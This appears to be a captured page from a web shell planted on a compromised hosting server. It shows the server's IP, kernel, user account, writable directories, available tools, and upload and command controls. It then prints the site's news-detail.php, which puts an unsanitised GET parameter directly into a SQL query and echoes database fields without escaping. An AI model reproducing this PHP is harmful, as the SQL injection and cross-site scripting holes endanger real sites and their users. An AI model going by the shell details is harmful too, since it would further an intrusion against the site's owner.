Private
Server IP : 68.178.168.24  /  Your IP : 3.144.85.96
Web Server : Apache
System : Linux 24.168.178.68.host.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
User : realcarecert ( 1247)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/realcarecert/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/realcarecert/www/news-detail.php
<?php 
include ('include/header.php');
$b_id = $_GET['code'];
$sel_blog = mysqli_query($link,"SELECT * FROM `tbl_new_news` WHERE `id`=$b_id");
$arr_blog = mysqli_fetch_assoc($sel_blog);
?>

        <!--=========== breadcrumb Section Start =========-->
        <div class="sc-breadcrumb-style sc-pt-80 sc-pb-80">
            <div class="container position-relative">
                <div class="row">
                    <div class="col-lg-12 breadvrumb">
                        <div class="sc-slider-content p-z-idex">
                            <div class="sc-slider-subtitle">Home - News    </div>
                            <h1 class="slider-title white-color sc-mb-25 sc-sm-mb-15"><?=$arr_blog['title']?></h1>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!--=========== breadcrumb Section End =========-->

        <!--=========== about Section Start =========-->

        <!--=========== about Section End =========-->

        <!--=========== Working Process section Start =========-->
        


        <section class="pt-80 pb-150">
            <div class="sc-blog-section-area sc-blog-section-two">
                <div class="container">
                    <div class="row">
                        <div class="col-lg-8">
                            <div class="sc-blog-details-content-area">
                                <div class="sc-blog-item sc-mb-30">
                                    <img src="blog-image/<?=$arr_blog['file']?>" alt="Blog" style="width:100%; height:350px; object-fit:cover;">
                                    
                                  <div class="sc-pt-40 servicontents newsssdconten">
                                  <?=$arr_blog['blog_desc']?>


                                
                                </div>
                            </div>
                            
                        
                            
                                
                                
                            
                            </div>
                        </div>
                        <div class="col-lg-4">
                            <div class="sc-blog-widget-inner ">
                               
                                <div class="sc-blog-post sc-mb-30 newssssd">
                                    <div class="sc-blog-title sc-mb-20">
                                        <h5 class="title"><i class="icon-line"></i> Recent News</h5>
                                    </div>




                                    <?php 
                              $sel_all = mysqli_query($link,"SELECT * FROM `tbl_new_news` ORDER BY id ASC Limit 5");
                              while($arr_all = mysqli_fetch_assoc($sel_all))
                               {
                                          ?>




                                    <div class="sc-post-auother d-flex align-items-center">
                                        <div class="sc-auother-image sc-mr-20">
                                            <a href="news-detail.php?code=<?=$arr_all['id']?>"><img src="blog-image/<?=$arr_all['file']?>" alt="Post"></a>
                                        </div>
                                        <div class="auother-text">
                                            <span class="date"><i class="icon-calender"></i> <?php
                                       echo date('d m Y',strtotime($arr_all['date']))
                                       ?>  </span>
                                            <h5>
                                                <a class="title" href="news-detail.php?code=<?=$arr_all['id']?>">
                                                <?=$arr_all['title']?></a>
                                            </h5>
                                        </div>
                                    </div>
                                    <?php } ?>





                                
                                   
                                   
                                </div>
                            
                                
                            
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </section>
    


    




        <!-- start why choose us section-->
        
        <!-- end why choose us section -->




  
    
        <?php 
       include ('include/footer.php');
       ?>
Private